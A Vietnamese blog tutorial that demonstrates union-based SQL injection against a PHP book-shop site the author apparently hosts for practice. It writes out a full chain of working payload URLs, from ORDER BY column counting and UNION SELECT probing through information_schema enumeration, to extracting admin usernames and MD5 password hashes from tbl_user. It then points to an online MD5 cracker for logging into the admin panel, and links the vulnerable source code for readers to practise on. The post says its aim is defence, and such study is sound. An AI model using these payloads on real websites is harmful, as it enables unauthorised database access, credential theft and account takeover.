THỰC HÀNH KHAI THÁC LỖI SQL INJECTION

hôm nay edu.com.vn sẽ THỰC HÀNH KHAI THÁC LỖI SQL INJECTION  lấy user/password của admin thông qua lỗi sql injection.

Bắt đầu tìm web site bị lỗi SQL Injection

ở đây mình sử dụng source code web php có bị lỗi SQL Injection và đã up lên hosting

truy cập vào website: http://triviet.tk/

1

 

Để biết trang web có bị lỗi hay không, ta thêm dấu nháy vào sau giá trị id của nó. Nếu trang web vẫn bình thường thì không có lỗi, nếu trang web bị thay đổi nội dung(mất hình hoặc một phần nội dung) hoặc hiện lên dòng chữ  “Warning: mysql_fetch_array():….” Thì trang web đó bị lỗi SQL Injection

http://triviet.tk/?frame=product_detail&id=289

3.1

3

 

Tiếp theo dung lệnh order by để tìm số cột:

http://triviet.tk/?frame=product_detail&id=289 order by 1– trang web vẫn bình thường

http://triviet.tk/?frame=product_detail&id=289 order by 2 — cứ thế tăng dần đến khi nào website bị lỗi (bị thay đổi giao diện) thì ta giảm xuồng 1 đơn vị và dừng lại ở đó.

ở đây mình tìm được số trường là 15.

http://triviet.tk/?frame=product_detail&id=289 order by 16–

4

 

http://triviet.tk/?frame=product_detail&id=289 order by 15–

5

 

Tiếp theo ta dùng lệnh union select để tìm số trường cột bị lỗi:

http://triviet.tk/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–

nếu không thấy hiện ra số trường cột bị lỗi thì thêm dấu “-” trước giá trị id của nó

 6

ở đây ta tìm thấy trường cột số 3 và số 6 bị lỗi. ta sẽ khai thác trên 2 cột này.

Khai thác trên cột số 3:

Thêm lệnh group_concat(table_name) để liệt kê tất cả các table có trong database của trang web.

http://triviet.tk/?frame=product_detail&id=-289 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()–

8

 

Ta thấy có table tbl_user là table có khả năng chứa username và password

Ta thay các lệnh column_name băng table_name và thêm lệnh table_name vào sau chữ database và chuỗi chuyển mã thừ string sang mã hex (string: tbl_user = hex:74626c5f75736572)

http://triviet.tk/?frame=product_detail&id=-289 union select 1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572–

9.1

 

Ta được các cột trong table tbl_user:

9.2

 

Thay các column_name bằng tên các cột trong tbl_user ta sẽ được username và password.

http://triviet.tk/?frame=product_detail&id=-289 union select 1,2,unhex(hex(group_concat(id,0x2f,uid,0x2f,pwd))),4,5,6,7,8,9,10,11,12,13,14,15 from tbl_user–

10

 

Password này được mã hóa bằng md5, dùng công cụ giả mã sẽ được password đăng nhập vào website.

Trang crack md5: http://www.md5decrypter.co.uk/

 11

Xong ta quay lại đăng nhập vào admin của website

12

 

13

 LƯU Ý: hai dấu trừ “–” ở cuối câu truy vấn chứ không phải dấu gạch.

đây là kiến thức mình tìm hiểu được từ nhiều nguồn khác nhau, các bạn có cách nào khác thì cùng chia sẽ cho mọi người ngen.

 bài hướng dẫn trên chỉ mang tính tham khảo, chia sẽ kinh nghiệm để tìm cách phòng chống, tuần sau mình sẽ chia sẽ về cách phòng chống cho website này.

sau đây là video và source source của website này, các bạn lấy về thục hành theo các câu lệnh trên là ok. nhớ sửa lại thông tin kết nối ở file config.php 

source website bán sách: http://www.mediafire.com/download/5li7ks1p711bjsw/CodeBanSach.rar

Video hướng dẫn: http://www.mediafire.com/download/tfyb28wzncdo6os/Video_Khai_thac_SQL_Injectiom.rar

có gì thắc mắc các bạn gửi mail: minhtri.cntt2@gmail.com, hoặc yahoo: duyminh264@yahoo.com